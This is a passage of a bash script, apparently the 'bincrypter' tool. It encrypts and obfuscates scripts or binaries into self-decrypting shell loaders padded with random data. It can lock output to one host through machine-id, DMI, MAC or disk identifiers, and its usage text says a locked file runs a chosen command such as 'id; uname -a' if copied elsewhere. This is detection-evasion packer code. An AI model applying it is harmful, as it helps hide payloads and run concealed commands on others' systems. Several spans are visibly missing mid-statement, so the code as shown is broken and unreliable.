Obfuscate /usr/bin/id (via pipe): ${CDC}cat ${CDY}/usr/bin/id${CN} | ${CDC}${bc}${CN} >${CDY}id.enc${CN} Obfuscate & Lock to system. Execute 'id; uname -a' if copied (2 variants): 1. ${CDY}BC_LOCK='id; uname -a' ${CDC}${bc} ${CDY}myfile.sh${CN} 2. ${CDY}BC_LOCK='aWQ7IHVuYW1lIC1hCg==' ${CDC}${bc} ${CDY}myfile.sh${CN} Encrypt myfile.sh with password 'mysecret': ${CDC}${bc} ${CDY}myfile.sh ${CDY}mysecret${CN} Encrypt by passing the password as environment variable: ${CDY}PASSWORD=mysecret ${CDC}${bc} ${CDY}myfile.sh${CN} " exit 0 } # EO _bc_usage _bc_dogetopt() { [ -t 0 ] && [ $# -eq 0 ] && _bc_usage while getopts "hql" opt; do case $opt in h) _bc_usage ;; q) _OPT_BC_QUIET=1 ;; l) _OPT_BC_LOCK=0 ;; *) ;; esac done shift $((OPTIND - 1)) } # %%BEGIN_BC_FUNC%% _bincrypter() { local str ifn fn s c DATA P _P S HOOK _PASSWORD local USE_PERL=1 local _BC_QUIET local _BC_LOCK # vampiredaddy wants this to work if dd + tr are not available: if [ -n "$USE_PERL" ]; then _bc_xdd() { [ -z "$DEBUG" ] && LANG=C perl -e 'read(STDIN,$_, '"$1"'); print;'; } _bc_xtr() { LANG=C perl -pe 's/['"${1}${2}"']//g;'; } _bc_xprintf() { LANG=C perl -e "print(\"$1\")"; } else _bc_xdd() { [ -z "$DEBUG" ] && dd bs="$1" count=1 2>/dev/null;} _bc_xtr() { tr -d"${1:+c}" "${2}";} _bc_xprintf() { printf "$@"; } fi _BC_QUIET="${BC_QUIET:-$_OPT_BC_QUIET}" _BC_LOCK="${BC_LOCK:-$_OPT_BC_LOCK}" _bc_err() { echo -e >&2 "${CDR}ERROR${CN}: $*" # Be opportunistic: Try to obfuscate but if that fails then just copy data # without obfuscation (cat). # Consider a system where there is no 'openssl' or 'perl' but the install # pipeline looks like this: # curl -fL https://foo.com/script | bincrypter -l >script # => We rather have a non-obfuscated binary than NONE. [ "$fn" = "-" ] && { cat # Pass through return 0 # Make pipe succeed } return 255 } # Obfuscate a string with non-printable characters at random intervals. # Input must not contain \ (or sh gets confused) _bc_ob64() { local i local h="$1" local str local x local s # Always start with non-printable character s=0 while [ ${#h} -gt 0 ]; do i=$((1 + RANDOM % 4)) str+=${h:0:$s} [ ${#x} -le $i ] && x=$(_bc_xdd 128 /dev/null)" # [ -n "$DEBUG" ] && echo >&2 "_k=$_k _P=$_P" [ -n "$_P" ] && return 0 [ -n "$fn" ] && { # sourced unset BCL BCV _P P S fn unset -f _bcl_get _bcl_verify _bcl_verify_dec return 255 } # base64 to string BCL="$(echo "$BCL" | openssl base64 -d -A 2>/dev/null)" # Check if BCL is a number and exit with that number. [ "$BCL" -eq "$BCL" ] 2>/dev/null && exit "$BCL" # 2nd decode (optional) str="$(echo "$BCL" | openssl base64 -d -A 2>/dev/null)" BCL="${str:-$BCL}" exec /bin/sh -c "$BCL" exit 255 # FATAL } # Hack to stop VSCODE from marking _bcl_gen_p as unreached: :||_bcl_gen_p "" _bcl_gen() { local _k local p # P:=Encrypt(P) using _bcl_get as key _k="$(_bcl_get)" # [ -n "$DEBUG" ] && echo >&2 "_k=$_k P=$P" [ -z "$_k" ] && { echo -e >&2 "${CDR}ERROR${CN}: BC_LOCK not supported on this system"; return 255; } p="$(echo "$P" | openssl enc %%SSL_OPTS%% "${_k}" -a -A 2>/dev/null)" [ -z "$p" ] && { echo -e >&2 "${CDR}ERROR${CN}: Failed to generate BC_LOCK password"; return 255; } P="$p" str+="$(declare -f _bcl_verify_dec)"$'\n' str+="_bcl_verify() { _bcl_verify_dec \"\$@\"; }"$'\n' str+="$(declare -f _bcl_get)"$'\n' str+="$(declare -f _bcl_gen_p)"$'\n' str+="BCL='$(openssl base64 -A <<<"${_BC_LOCK}")'"$'\n' # Add test value str+="BCV='$(echo TEST-VALUE-VERIFY | openssl enc %%SSL_OPTS%% "B-${_k}" -a -A 2>/dev/null)'"$'\n' } # Test a key candidate and on success output the candidate to STDOUT. _bcl_verify_dec() { [ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d %%SSL_OPTS%% "B-${1}-${UID}" -a -A 2>/dev/null)" ] && return 255 echo "$1-${UID}" } # Encrypt & Decrypt BCV for testing. _bcl_verify() { [ -z "$1" ] && return 255 # [ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d %%SSL_OPTS%% "${1}" -a -A 2>/dev/null)" ] && return 255 echo "$1-${UID}" } :||_bcl_verify # Generate a LOCK key and output it to STDOUT (if valid). # This script uses the above bcl_verify but the decoder uses its own # bcl_verify as a trampoline to call bcl_verify_dec. # FIXME: Consider cases where machine-id changes. Fallback to dmidecode and others.... _bcl_get() { [ -z "$UID" ] && UID="$(id -u 2>/dev/null)" [ -f "/etc/machine-id" ] && _bcl_verify "$(cat "/etc/machine-id" 2>/dev/null)" && return command -v dmidecode >/dev/null && _bcl_verify "$(dmidecode -t 1 2>/dev/null | LANG=C perl -ne '/UUID/ && print && exit')" && return _bcl_verify "$({ ip l sh dev "$(LANG=C ip route show match 1.1.1.1 | perl -ne 's/.*dev ([^ ]*) .*/\1/ && print && exit')" | LANG=C perl -ne 'print if /ether / && s/.*ether ([^ ]*).*/\1/';} 2>/dev/null)" && return _bcl_verify "$({ blkid -o export | LANG=C perl -ne '/^UUID/ && s/[^[:alnum:]]//g && print && exit';} 2>/dev/null)" && return _bcl_verify "$({ fdisk -l | LANG=C perl -ne '/identifier/i && s/[^[:alnum:]]//g && print && exit';} 2>/dev/null)" && return } fn="-" [ "$#" -gt 0 ] && fn="$1" # $1 might be '-' [ "$fn" != "-" ] && [ ! -f "$fn" ] && { _bc_err "File not found: $fn"; return; } [ "$fn" != "-" ] && [ ! -r "$fn" ] && { _bc_err "File not readable: $fn"; return; } [ -n "$BC_BCL_TEST_FAIL_COMMAND" ] && { _bc_err "$BC_BCL_TEST_FAIL_COMMAND is required (fn=$fn)"; return; } command -v openssl >/dev/null || { _bc_err "openssl is required"; return; } command -v perl >/dev/null || { _bc_err "perl is required"; return; } command -v gzip >/dev/null || { _bc_err "gzip is required"; return; } [ ! -c "/dev/urandom" ] && { _bc_err "/dev/urandom is required"; return; } # Auto-generate password if not provided _PASSWORD="${2:-${PASSWORD:-$BC_PASSWORD}}" [ -n "$_BC_LOCK" ] && [ -n "$_PASSWORD" ] && { echo -e >&2 "${CDR}WARN${CN}: ${CDY}PASSWORD${CN} is ignored when using ${CDY}BC_LOCK${CN}."; unset _PASSWORD; } [ -z "$_PASSWORD" ] && P="$(DEBUG='' _bc_xdd 32 ${CN} provided and failed to generate one."; return; } unset _PASSWORD # [ -n "$DEBUG" ] && echo >&2 "generated P=${P}" # Auto-generate SALT S="$(DEBUG='' _bc_xdd 32 &2 "OpenSSL ENC with _P=$_P (P='$P')" unset str _C R # P:=Encrypted(P) using HOST-ID as encryption-key. Resets $str. [ -n "$_BC_LOCK" ] && _bcl_gen [ -z "$str" ] && { # NOT using BC_LOCK (Fallback) str="unset BCV BCL"$'\n' # P is not set if provided via ENV or $2 [ -n "$P" ] && P="$(echo "$P"|openssl base64 -A 2>/dev/null)" } # Always base64 encode. ## Add Password to script ($P might be encrypted if BC_LOCK is set) [ -n "$P" ] && { # [ -n "$DEBUG" ] && echo >&2 "Store P=${P}" str+="P=${P}"$'\n' unset P } ## Add SALT to script str+="S='$S'"$'\n' # Bash strings are not binary safe. Instead, store the binary as base64 in memory: ifn="$fn" [ "$fn" = "-" ] && ifn="/dev/stdin" DATA="$(gzip <"$ifn" | openssl base64)" || return 255 ## Add size of random padding to script (up to roughly 25% of the file size)). [ "$BC_PADDING" != "0" ] && { local sz="${#DATA}" [ "$sz" -lt 31337 ] && sz=31337 R="$(( (RANDOM * 32768 + RANDOM) % ((sz / 100) * ${BC_PADDING:-25})))" } _C+="R=${R:-0}"$'\n' ## Add encrypted configs to script [ -n "$_C" ] && { [ -n "$DEBUG" ] && echo >&2 "Store C=ENC('${_C}')" str+="C=$(echo "$_C" | openssl enc %%SSL_OPTS%% "C-${S}-${_P}" -a -A 2>/dev/null)"$'\n' } str+="$(echo "$HOOK"|openssl base64 -A -d)" [ -n "$DEBUG" ] && { echo -en >&2 "DEBUG: ===code===\n${CDM}${CF}"; echo >&2 "$str"; echo -en >&2 "${CN}"; } ## Encode & obfuscate the HOOK HOOK="$(echo "$str" | openssl base64 -A)" HOOK="$(_bc_ob64 "$HOOK")" [ -z "$_BC_QUIET" ] && [ "$fn" != "-" ] && { s="$(stat -c %s "$fn")" [ "$s" -gt 0 ] || { _bc_err "Empty file: $fn"; return; } } [ "$fn" = "-" ] && fn="/dev/stdout" # Create the encrypted binary: /bin/sh + Decrypt-Hook + Encrypted binary { # printf '#!/bin/sh\0#' # Add some binary data after shebang, including \0 (sh reads past \0 but does not process. \0\n count as new line). # dd count="${count:-1}" bs=$((1024 + RANDOM % 1024)) if=/dev/urandom 2>/dev/null| tr -d "[:print:]\n'" # echo "" # Newline # => Unfortunately some systems link /bin/sh -> bash. # 1. Bash checks that the first line is binary free. # 2. and no \0 in the first 80 bytes (including the #!/bin/sh) echo '#!/bin/sh' # Add dummy variable containing garbage (for obfuscation) (2nd line) echo -n "_='" _bc_xdd 66 /dev/null | LANG=C perl -pe 's/B/B2/g; s/\x00/B1/g' # To support 'BC_FN=h.sh eval "$(/dev/null | LANG=C perl -pe 's/B/B2/g; s/\x00/B1/g; s/\n/B3/g' } > "$fn" [ -n "$s" ] && { c="$(stat -c %s "$fn" 2>/dev/null)" [ -n "$c" ] && echo -e >&2 "${CDY}Compressed:${CN} ${CDM}$s ${CF}-->${CN}${CDM} $c ${CN}[${CDG}$((c * 100 / s))%${CN}]" } # [ -z "$_BC_QUIET" ] && [ -n "$_BC_LOCK" ] && echo -e >&2 "${CDY}PASSWORD=${CF}${_P}${CN}" unset -f _bc_usage _bcl_get _bcl_verify _bcl_verify_dec _bc_err _bc_ob64 _bc_obbell _bc_xdd _bc_xtr _bc_xprintf [ -z "$_BC_QUIET" ] && echo -e >&2 "${CDG}Done${CN}" return 0 } # %%END_BC_FUNC%% # Check if sourced or executed [ -n "$ZSH_VERSION" ] && [ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && _sourced=1 (return 0 2>/dev/null) && _sourced=1 [ -z "$_sourced" ] && { # Execute if not sourced: _bc_dogetopt "$@" _bincrypter "$@" exit } ### HERE: sourced bincrypter() { _bc_dogetopt "$@" _bincrypter "$@" } unset _sourced